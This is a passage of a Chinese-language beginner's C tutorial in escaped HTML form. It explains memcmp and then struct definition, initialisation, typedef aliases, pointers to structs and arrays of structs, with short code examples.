class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e s1[] = {\u003cspan class=\"string\"\u003e\u0026#39;b\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;i\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;g\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;\\0\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;c\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;a\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;r\u0026#39;\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e s2[] = {\u003cspan class=\"string\"\u003e\u0026#39;b\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;i\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;g\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;\\0\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;c\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;a\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;t\u0026#39;\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"built_in\"\u003ememcmp\u003c/span\u003e(s1, s2, \u003cspan class=\"number\"\u003e3\u003c/span\u003e) == \u003cspan class=\"number\"\u003e0\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// true\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"built_in\"\u003ememcmp\u003c/span\u003e(s1, s2, \u003cspan class=\"number\"\u003e4\u003c/span\u003e) == \u003cspan class=\"number\"\u003e0\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// true\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"built_in\"\u003ememcmp\u003c/span\u003e(s1, s2, \u003cspan class=\"number\"\u003e7\u003c/span\u003e) == \u003cspan class=\"number\"\u003e0\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// false\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例展示了,\u003ccode\u003ememcmp()\u003c/code\u003e可以比较内部带有字符串终止符\u003ccode\u003e\\0\u003c/code\u003e的内存区域。\u003c/p\u003e\u003ch2 id=\"struct-结构\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#struct-%E7%BB%93%E6%9E%84\" class=\"headerlink\" title=\"struct 结构\"\u003e\u003c/a\u003estruct 结构\u003c/h2\u003e\u003ch3 id=\"简介-6\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E7%AE%80%E4%BB%8B-6\" class=\"headerlink\" title=\"简介\"\u003e\u003c/a\u003e简介\u003c/h3\u003e\u003cp\u003eC 语言内置的数据类型,除了最基本的几种原始类型,只有数组属于复合类型,可以同时包含多个值,但是只能包含相同类型的数据,实际使用中并不够用。\u003c/p\u003e\u003cp\u003e实际使用中,主要有下面两种情况,需要更灵活强大的复合类型。\u003c/p\u003e\u003cul\u003e\u003cli\u003e复杂的物体需要使用多个变量描述,这些变量都是相关的,最好有某种机制将它们联系起来。\u003c/li\u003e\u003cli\u003e某些函数需要传入多个参数,如果一个个按照顺序传入,非常麻烦,最好能组合成一个复合结构传入。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e为了解决这些问题,C 语言提供了\u003ccode\u003estruct\u003c/code\u003e关键字,允许自定义复合数据类型,将不同类型的值组合在一起。这样不仅为编程提供方便,也有利于增强代码的可读性。C 语言没有其他语言的对象(object)和类(class)的概念,struct 结构很大程度上提供了对象和类的功能。\u003c/p\u003e\u003cp\u003e下面是\u003ccode\u003estruct\u003c/code\u003e自定义数据类型的一个例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003efraction\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e numerator;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e denominator;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e};\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例定义了一个分数的数据类型\u003ccode\u003estruct fraction\u003c/code\u003e,包含两个属性\u003ccode\u003enumerator\u003c/code\u003e和\u003ccode\u003edenominator\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e注意,作为一个自定义的数据类型,它的类型名要包括\u003ccode\u003estruct\u003c/code\u003e关键字,比如上例是\u003ccode\u003estruct fraction\u003c/code\u003e,单独的\u003ccode\u003efraction\u003c/code\u003e没有任何意义,甚至脚本还可以另外定义名为\u003ccode\u003efraction\u003c/code\u003e的变量,虽然这样很容易造成混淆。另外,\u003ccode\u003estruct\u003c/code\u003e语句结尾的分号不能省略,否则很容易产生错误。\u003c/p\u003e\u003cp\u003e定义了新的数据类型以后,就可以声明该类型的变量,这与声明其他类型变量的写法是一样的。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003efraction\u003c/span\u003e \u003cspan class=\"title\"\u003ef1\u003c/span\u003e;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ef1.numerator = \u003cspan class=\"number\"\u003e22\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ef1.denominator = \u003cspan class=\"number\"\u003e7\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,先声明了一个\u003ccode\u003estruct fraction\u003c/code\u003e类型的变量\u003ccode\u003ef1\u003c/code\u003e,这时编译器就会为\u003ccode\u003ef1\u003c/code\u003e分配内存,接着就可以为\u003ccode\u003ef1\u003c/code\u003e的不同属性赋值。可以看到,struct 结构的属性通过点(\u003ccode\u003e.\u003c/code\u003e)来表示,比如\u003ccode\u003enumerator\u003c/code\u003e属性要写成\u003ccode\u003ef1.numerator\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e再提醒一下,声明自定义类型的变量时,类型名前面,不要忘记加上\u003ccode\u003estruct\u003c/code\u003e关键字。也就是说,必须使用\u003ccode\u003estruct fraction f1\u003c/code\u003e声明变量,不能写成\u003ccode\u003efraction f1\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e除了逐一对属性赋值,也可以使用大括号,一次性对 struct 结构的所有属性赋值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003ecar\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* name;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003efloat\u003c/span\u003e price;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e speed;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003ecar\u003c/span\u003e \u003cspan class=\"title\"\u003esaturn\u003c/span\u003e =\u003c/span\u003e {\u003cspan class=\"string\"\u003e\u0026#34;Saturn SL/2\u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e16000.99\u003c/span\u003e, \u003cspan class=\"number\"\u003e175\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,变量\u003ccode\u003esaturn\u003c/code\u003e是\u003ccode\u003estruct cat\u003c/code\u003e类型,大括号里面同时对它的三个属性赋值。如果大括号里面的值的数量,少于属性的数量,那么缺失的属性自动初始化为\u003ccode\u003e0\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e注意,大括号里面的值的顺序,必须与 struct 类型声明时属性的顺序一致。否则,必须为每个值指定属性名。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003ecar\u003c/span\u003e \u003cspan class=\"title\"\u003esaturn\u003c/span\u003e =\u003c/span\u003e {.speed=\u003cspan class=\"number\"\u003e172\u003c/span\u003e, .name=\u003cspan class=\"string\"\u003e\u0026#34;Saturn SL/2\u0026#34;\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,初始化的属性少于声明时的属性,这时剩下的那些属性都会初始化为\u003ccode\u003e0\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e声明变量以后,可以修改某个属性的值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003ecar\u003c/span\u003e \u003cspan class=\"title\"\u003esaturn\u003c/span\u003e =\u003c/span\u003e {.speed=\u003cspan class=\"number\"\u003e172\u003c/span\u003e, .name=\u003cspan class=\"string\"\u003e\u0026#34;Saturn SL/2\u0026#34;\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esaturn.speed = \u003cspan class=\"number\"\u003e168\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例将\u003ccode\u003espeed\u003c/code\u003e属性的值改成\u003ccode\u003e168\u003c/code\u003e。\u003c/p\u003e\u003cp\u003estruct 的数据类型声明语句与变量的声明语句,可以合并为一个语句。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003ebook\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e title[\u003cspan class=\"number\"\u003e500\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e author[\u003cspan class=\"number\"\u003e100\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003efloat\u003c/span\u003e value;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e} b1;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面的语句同时声明了数据类型\u003ccode\u003ebook\u003c/code\u003e和该类型的变量\u003ccode\u003eb1\u003c/code\u003e。如果类型标识符\u003ccode\u003ebook\u003c/code\u003e只用在这一个地方,后面不再用到,这里可以将类型名省略。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e title[\u003cspan class=\"number\"\u003e500\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e author[\u003cspan class=\"number\"\u003e100\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003efloat\u003c/span\u003e value;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e} b1;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003estruct\u003c/code\u003e声明了一个匿名数据类型,然后又声明了这个类型的变量\u003ccode\u003eb1\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e与其他变量声明语句一样,可以在声明变量的同时,对变量赋值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e title[\u003cspan class=\"number\"\u003e500\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e author[\u003cspan class=\"number\"\u003e100\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003efloat\u003c/span\u003e value;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e} b1 = {\u003cspan class=\"string\"\u003e\u0026#34;Harry Potter\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;J. K. Rowling\u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e10.0\u003c/span\u003e},\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e b2 = {\u003cspan class=\"string\"\u003e\u0026#34;Cancer Ward\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;Aleksandr Solzhenitsyn\u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e7.85\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,在声明变量\u003ccode\u003eb1\u003c/code\u003e和\u003ccode\u003eb2\u003c/code\u003e的同时,为它们赋值。\u003c/p\u003e\u003cp\u003e下一章介绍的\u003ccode\u003etypedef\u003c/code\u003e命令可以为 struct 结构指定一个别名,这样使用起来更简洁。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003ecell_phone\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e cell_no;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003efloat\u003c/span\u003e minutes_of_charge;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e} phone;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ephone p = {\u003cspan class=\"number\"\u003e5551234\u003c/span\u003e, \u003cspan class=\"number\"\u003e5\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003ephone\u003c/code\u003e就是\u003ccode\u003estruct cell_phone\u003c/code\u003e的别名。\u003c/p\u003e\u003cp\u003e指针变量也可以指向\u003ccode\u003estruct\u003c/code\u003e结构。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003ebook\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e title[\u003cspan class=\"number\"\u003e500\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e author[\u003cspan class=\"number\"\u003e100\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003efloat\u003c/span\u003e value;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}* b1;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 或者写成两个语句\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003ebook\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e title[\u003cspan class=\"number\"\u003e500\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e author[\u003cspan class=\"number\"\u003e100\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003efloat\u003c/span\u003e value;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003ebook\u003c/span\u003e* \u003cspan class=\"title\"\u003eb1\u003c/span\u003e;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,变量\u003ccode\u003eb1\u003c/code\u003e是一个指针,指向的数据是\u003ccode\u003estruct book\u003c/code\u003e类型的实例。\u003c/p\u003e\u003cp\u003estruct 结构也可以作为数组成员。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003efraction\u003c/span\u003e \u003cspan class=\"title\"\u003enumbers\u003c/span\u003e[1000];\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003enumbers[\u003cspan class=\"number\"\u003e0\u003c/span\u003e].numerator = \u003cspan class=\"number\"\u003e22\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003enumbers[\u003cspan class=\"number\"\u003e0\u003c/span\u003e].denominator = \u003cspan class=\"number\"\u003e7\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例声明了一个有1000个成员的数组\u003ccode\u003enumbers\u003c/code\u003e,每个成员都是自定义类型\u003ccode\u003efraction\u003c/code\u003e的实例。\u003c/p\u003e\u003cp\u003estruct 结构占用的存储空间,不是各个属性存储空间的总和。因为为了计算效率,C 语言的内存占用空间一般来说,都必须是\u003ccode\u003eint\u003c/code\u003e类型存储空间的倍数。如果\u003ccode\u003eint\u003c/code\u003e类型的存储是4字节,那么 struct 类型的存储空间就总是4的倍数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan 